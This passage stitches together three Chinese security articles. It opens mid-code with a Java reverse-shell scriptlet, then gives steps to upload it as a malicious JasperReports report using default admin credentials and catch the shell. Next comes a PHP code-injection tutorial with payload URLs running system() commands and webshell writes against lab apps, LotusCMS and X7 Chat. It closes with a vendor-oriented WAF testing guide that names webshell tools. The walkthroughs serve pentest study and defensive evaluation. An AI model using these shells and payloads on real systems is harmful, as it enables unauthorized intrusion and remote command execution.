         socketWrite = new PrintWriter(socket.getOutputStream(),true);
         socketRead = new BufferedReader(new InputStreamReader(socket.getInputStream()));
         socketWrite.println("---Connection has been established---");
         socketWrite.flush();
      }catch(Exception e){}
 
   }
 
   public void getCommand(){
      String foo;
 
      try{
         while((foo=socketRead.readLine())!= null){
            commandWrite.println(foo);
            commandWrite.flush();
         }
      }catch(Exception e){}
   }
 
   public static void main(String args[]){
      ShellScriptlet r = new ShellScriptlet();
      r.getShell();
   }
}

对于那些不熟悉Java的,你可以用下面的命令编译在相同的目录中

/usr/lib/jvm/java-6-openjdk-amd64/bin/javac -Xlint -cp .:jasperreports-5.0.0.jar *.java -d .

这里指定” javac “的完整路径是有原因的(这是Java 1.6)。如果你运行这个命令对某种系统会出错,你需要考虑理想情况下用相同的环境来编译它,至少不是最新的版本!

接下来我们要做的就是把所有的代码打包趁有个jar文件然后上传到目标站点。你可以使用下面这个代码来完成它:

/usr/lib/jvm/java-6-openjdk-amd64/bin/jar cvf shell.jar foxglove/

如果一切进行的顺利,你就会得到个“shell.jar”文件,接下来就准备上传这个到目标站点吧!

部署这个新的“Report”

每个版本的JasperReports似乎都有些不同,但是他们都有相同的函数和工作流。

首先很明显我们要去验证一下“jasperadmin/jasperadmin”:

authd.png

在我这个版本中,这就立即显示出了有一堆reports样例的“Repository”(要确保“Type”这一列说的是“Report”)。

接下来,我们只要右击一个report并且点击“Edit”就好。

一开始,就点击 “Controls and Resources” 之后点击“Add Resource”。上传我们之前创建的JAR文件并给这个资源命名为“ShellScriptlet”。结束之后我们应该可以看到下图这样的结果:

resource.png

点击左侧栏的“Set Up”,单击 “Upload a Local file”把我们之前创建的JRXML文件上传了。你应该可以得到下图所示的结果:

resources2.png

Jasper 现在让我们去定义一些我们在JRXML文件引用的资源。如果你是一个keener你可能会仅仅把这些资源从JRXML文件中删除。仅仅单击“Add Now”并且上传一些随机的PNG图片文件为你每一个引用资源…当你做完这些应该看起来像下图一样:

resourcesadded.png

现在你只需要点击“Submit”在这个按钮来创建我们的恶意report就好了。哈哈

Shellz!

先别激动,在你运行这个report之前,你还要开个监听端口去监听你的shell!!!

listener.png

之后单击你创建的report,它将会运行Java代码,如果没有什么问题,你就可以看到反弹的shell了

shell1.png

PHP Code Injection Analysis

为了方便自己以后的翻阅和查找,最近正在整理一些所学的内容。个人觉得只有将知识系统化和模块化才能更加有效的吸收和学习。接下来就先开始整理关于 PHP 代码注入的一些问题和知识点。

0x1 前言

为了方便自己以后的翻阅和查找,最近正在整理一些所学的内容。个人觉得只有将知识系统化和模块化才能更加有效的吸收和学习。接下来就先开始整理关于 PHP 代码注入的一些问题和知识点。

0x2 简述

代码的执行来自于缺乏严格的过滤或者用户控制数据的逃逸。在这里由于攻击者可以控制部分或者所有内容传递给这些未进行严格过滤的函数,从而导致提交的内容会被作为PHP代码执行。

0x3 PHP 代码注入&相关敏感函数

PHP 代码注入

在 PHP 中有一些函数

相关敏感函数:

1.png

eval 会把字符串作为 PHP 代码来执行

2.png

preg_replace执行一个正则的搜索和替换

3.png

/e 修正符使 preg_replace将 replacement 参数当做 PHP 代码【在适当的逆向引用和替换完之后】

assert:assert检查一个断言是否为 false

4.png

call_user_func: call_user_func把第一个参数作为回调函数调用

5.png

call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

6.png

create_function:增加一个匿名的函数【lamda-style】

7.png

还有很多这里就不一一列举具体请参考如下链接:
PHP代码执行漏洞总结

0x4 漏洞案例分析

接下来看看上述的函数都在哪些情况下会产生php代码注入

  • PHP eval

示例代码:

8.png

这里eval函数会将提交上来的值作为PHP 代码处理,例如我们提交phpinfo();那么可以看到他被成功执行了。

以bWAPP 中的php code injection 为例

10.png

当提交phpinfo();后, eval()函数会将其执行;同样也可以提交一段代码让其生成一个文件并写入内容。

利用代码:

11.png

12.png

看到回显,说明代码已经执行成功!

此时创建了一个名为test.php 的文件并写入了一个一句话木马,用菜刀链接后可以看到在站点的根目录下确实生成了一个test.php 的文件。

  • PHP eval绕过案例

示例代码

13.png

这里用addslashes()函数进行了过滤,但是提交的php 代码可以这样在双引号中被执行。

14.png

那么根据上面绕过过滤的方式我们就可以这样写入一句话代码了。

15.png

案例一

http://www.exploit-db.com/exploits/18565/ LotusCMS 3.0 eval() Remote Command Execution

影响版本:

LotusCMS version 3.0.3
LotusCMS version 3.0.5

漏洞描述:

在LotusCMS 的index.php 文件中调用router 构建函数,然后在lcms/core/lib/router.php 中page 这个参数被带入,由于未经任何过滤可以产生该漏洞。

16.png

17.png

案例演示:

18.png

19.png

既然有php 代码注入漏洞,只要是站点目录有写入的权限就可以写入一个一句话的马,利用代码如下:

20.png

执行后回到站点的根目录,会发现在根目录下生成了一个名为test.php 的文件

21.png

打开test.php 文件看一下,php 一句话的代码成功被写入!

22.png

  • PHP preg_replace ()

示例代码

23.png

当replacement 参数构成一个合理的php 代码字符串的时候,/e 修正符使preg_replace(),将replacement 参数当做php 代码执行。如下图所示,preg_replace()将replacement参数作为php 代码成功执行。

24.png

案例二
X7 Chat 2.0.5 preg_replace() PHP Code Execution

影响版本:X7 Chat version 2.0.5

漏洞描述:

漏洞的产生最终是由于/lib/message.php 下的第119 行的preg_replce()函数导致,这里引用了/e 修饰符,并且未经过严格过滤最终导致任意代码执行。
28.png

29.png

Metasploit 更新了漏洞利用模块,可以利用该模块演示一下被利用的场景

  • PHP create_function()

在php 中使用create_function()创建一个匿名函数(lambda-style),如果对参数未进行严格的过滤审查,攻击者可以通过提交特殊字符串给create_function()从而导致任意代码执行。

示例代码:

30.png

31.png

  • PHP unserialize()

示例代码:

32.png

提交语句:

 http://127.0.0.1/test/unserialize.php?test=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}

33.png

0x5 代码执行绕过

前面将一些常见的易造成PHP代码注入的函数介绍了一下。接下来将以web for pentester中的案例来演示一下,一些简单的php代码执行的绕过。
案例演示:

  • example1.php

示例代码:

34.png

解决方案:

查看代码我们可以看到,这里使用了反斜杠【】将echo后面的内容给转义了。这样做与加addslashes()函数进行过滤的意思是一样的。具体案例可以到这里学习【php4fun.sinaapp.com PHP挑战通关攻略】。但是我们可以通过${${ }}这样的方式绕过,从而继续执行代码。

提交语句:

http://target/codeexec/example1.php?name=${${phpinfo()}}

35.png

  • example2.php

示例代码:

36.png

解决方案:

我们看代码,造成造成代码注入的重点在被加红的区域也就是create_function()的不当使用,我们可以这样构造);}phpinfo();//,从而继续执行我们的命令。【这里解释一下);}是闭合了前面的代码,而//则是将后面的内容注释掉】

提交代码:

http://target/codeexec/example2.php?order=id);}phpinfo();//

37.png

  • example3.php

示例代码:

38.png

解决方案:

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

因此当满足了在语句的构造中有/e修正符,就有可能引起php代码注入的风险。可以如此构造:

new=system('date')&pattern=/lamer/e&base=Hello lamer

提交代码:

 http://target/codeexec/example3.php?new=system('date')&pattern=/lamer/e&base=Hello lamer

39.png

  • example4.php

示例代码:

40.png

解决方案:

如此构造即可:

hacker'.system('cat /etc/issue').'

提交代码:

http://target/codeexec/example4.php?name=hacker'.system('cat /etc/issue').'

41.png

0x6 代码防御

  • 尽量不要执行外部的应用程序和命令
  • 在使用诸如:eval、preg_replace、assert这些函数的时候,确定参数的内容,严格过滤危险参数。
  • 使用自定义的函数或者函数库来实现相关的需要命令功能

0x7 相关参考

代码审计典型语法结构
PHP代码执行漏洞总结
cn2.php.net
慎用preg_replace危险的/e修饰符(一句话后门常用)
Web攻防系列教程之浅析PHP命令注入攻击

从甲方的角度谈谈WAF测试方法--part2

继Part1之后,停了将近半个月才动笔写第二部分,不是因为懒,实在是最近几个项目事情多。顺手还准备了几个面试,耽搁到了现在。

今天把这篇给自己的总结写完吧。

0X05 Webshell防御

webshell拦截

文件上传防御难免百密一疏,普通的webshell上传后,攻击者必然要通过与webshell通信,开展后续渗透。WAF必须有能力识别通信内容,并及时阻断。很多webshell的通信内容是经过base64编码的,WAF必须具备解码后准确分析的能力。

测试方法很简单,在服务器上放好测试的webshell,客户端通过WAF后访问webshell,执行重要的操作,如:dir、ls、net user等系统命令;连接操作数据库;上传下载文件等。

这项测试需要收集大量常用webshell,用于覆盖常见webshell的识别。Github上有一个项目收集了各种格式的webshell,妈妈再也不担心我找不到shell啦。

Github webshell collect

一句话拦截

如果服务器安装有杀毒软件,常见webshell是可以被查杀的。大马能拦住,小马当然也不能放过。一句话木马可是杀软无力识别的。

防御一句话,其实防御的是菜刀以及各种版本的菜刀与一句话的通信。

这里要重点说两款工具:

  • cknife:项目地址,这把刀可以自定义各种通信方式和php执行函数用于绕过waf检测。实际测试下来,的确很多家waf的默认策略对自定义模式拦截无力。
  • antSword:项目地址,修改版的菜刀,也很好用。

0X06 暴力破解及其他杂项

暴力破解

WAF必须具备识别工具自动爆破密码的能力,其实判断的原理不难,分析请求某个文件的某几个参数的频率即可。用BurpSuite测一测就知道。在WAF上需要手工配置防爆破的策略,指明请求的URI、用户需要输入的参数名、访问阈值条件。

F5 ASM在判断暴力破解行为时,会判断会话有效性,造成这里有个bug,使用burpsuite爆密码时ASM根本拦不住。开了售前ticket查了半天,联系研发才闹明白是判断机制设计所致,自然也就无法修改了。

机器访问

为了防止薅羊毛,WAF必须具备能力,根据用户自定义的URI、参数名、源IP/目的IP、目的URL等条件,拦截超出正常频率的机器访问行为。

这项测试非常考验设备的自定义程度,而Imperva在自定义策略的灵活性上,遥遥领先其他友商,无愧于Gartner第一象限的位置。自定义程度越高,策略越灵活,防御效果越好,对甲方工程师的技术要求也就越高。很多传统行业的甲方工程师由于不熟悉攻防,对HTTP没研究那么深,自定义策略反而成了工作的负担。在和Imperva工程师交流时多次看到其他同行发来的邮件,询问某某场景下实现某功能,应该如何配置。我觉得如果不懂HTTP,WAF干脆就不要玩了,纯粹是给自己找负担。从白帽子的角度来说,目标网站有WAF不可怕,渗透还是要坚持的,万一对方不懂HTTP呢。

指定参数拦截

在post表单中,安全基线要求代码必须判断用户输入内容是否合理。比如,手机号一项,必须提交13/15/17/18开头的11位纯数字。如果编码时实现该需求,一行正则匹配就搞定。但是你不能保证每个程序猿都是勤奋的。所以,用WAF帮助站点实现该需求是必备功能要求。

WAF必须具备识别制定URI的指定参数,提交的数据格式。这一项也是将各厂家区分开的重要指标。

命令注入

WAF还必须具备识别命令注入攻击的能力,这一项DVWA是提供了测试功能的。之所以重点拿出来说,是因为Imperva、F5 ASM在这里都存在明显的疏漏。常见系统命令,这两家的WAF都不能在默认策略下准确识别。这一点我很奇怪,明明特征库里是有这一类特征的,可为何检出率如此低?

0X07 设备自身安全

WAF除了要保护目标网站的安全性之外,自身的安全性也不可或缺。别不信,FortiWeb的5.5.3版本就存在CSRF漏洞。国产主流的漏洞扫描产品,除了绿盟也都存在CSRF漏洞。

另外,要使用NMAP等各种工具扫描设备开放的端口,看看有没有什么服务存在已知漏洞。

第三,设备登录入口必须支持连续登录失败X次后拦截登录请求的功能,防止被爆破。

第四,设备web端会使用类似jQuery等库,而第三方库是有各种已知漏洞的,查到CVE后逐个验证下漏洞是否存在。

第四,开个WVS扫一扫页面吧,看看有没有什么明显的漏洞。

0X08 自学习

商业WAF相比自研WAF,最大的优势在于自学习功能。商业WAF拥有多项专利技术,可以根据web应用的访问行为和流量,自动学习用户正常访问行为特征,据此建立防御策略。Imperva在这方面技术领先很多,专利也最多。如果用好了自学习功能,WAF的漏过能够很大程度上的改善。

但是,凡事没有绝对。WAF的自学习功能最大的困扰是误报。Web应用的功能非常复杂,请求方式千奇百怪,机器学习算法再精妙,也不可能百分百还原所有用户正常行为。一旦误判,大量的误报拦截会让管理员叫苦不迭。

实际测试下来,个人感觉自学习功能更多时候是厂商拿来做宣传的噱头和控标的一个指标项,但是实际在生产环境中使用它,最好还是慎之又慎,就连厂商工程师都不建议使用,你敢给领导打保票背这个雷吗?

但是自学习功能并非是聋子的耳朵–摆设。自学习最大的用处其实是分析用户行为的工具。用这个功能连续监控一个月之后,哪个URL被访问次数最多,用户的请求方法与行为是什么,可以通过自动报告一览无余。有了这个报告,后续在做Web应用调优、访客行为分析、判断误报等方面还是很有用的。

0X09 第三方测试工具

除了上述各种手工测试项目,还可以使用第三方开源工具测试WAF的拦截能力。这里推荐两个工具。

第一:碳基体的测试工具:项目地址

这款工具是用perl写的,在t文件夹下已经写好了很多测试脚本,这些脚本可以把攻击payload放在http协议的各个字段提交,用于测试WAF在不同http参数的识别能力。具体用法不多说了,碳基体写的非常清楚。

这里想说两点:

  1. X-Forwared-For是很多WAF会漏过的点。
  2. 没有哪家WAF可以百分百拦截所有测试脚本。换句话说,测出来漏过的地方,需要WAF上手工配置策略,白帽子们也可以在渗透时自由发挥了。

第二:Ironbee项目:项目地址

Ironbee是一款开源waf,这个项目是测试拦截率的攻击,也是用perl写的。同样的,baseline-detection目录下的脚本,也不是默认策略可以百分百识别的。

0X10 管理与维护

WAF除了要满足低误报低漏报,还必须人性化易管理。下面的几个功能点,是从管理员角度出发测试的内容。

  • 设备操作日志:WAF的所有管理员操作必须留存日志备查。
  • 管理员权限分割:管理员必须不能删除和操作设备日志,管理与审计权限必须分立。
  • 误报后的快速例外:WAF会出现超过50%的误报,出现误报后,设备必须支持快速且简便的例外策略生成。
  • 日志包含完整http的request和response,高亮显示违规内容。
  • 日志可导出:WAF的日志必须支持以标准syslog格式导出,既可以与SIEM联动,也可以让管理员手工分析。
  • 多种形式的报表展现:包括但不限于自定义源地址、目的地址、攻击手法、规则、日期时间等条件的自由组合生成报表。
  • 流量可视化展现:统计每个站点流量、统计指定源的流量、统计点击次数,可视化展现。

0X11 写在最后

写这篇文章的初衷,绝非为某个品牌站台,或者贬损某个品牌。我在写作的过程中尽量避免带有个人感情色彩,尽量保持对品牌的中立性。任何WAF都是众多开发人员的辛苦结晶,每家都有自己独到的地方,也难免存在疏漏。希望通过甲方安全人员的和厂商研发人员的共同努力,把WAF完善的更好更易用。

受限于自己技术能力,测试方法和测试内容难免有遗漏或错误,希望读者反馈指正。

全文首发于安全客,地址请戳 很感谢360团队对我的认可。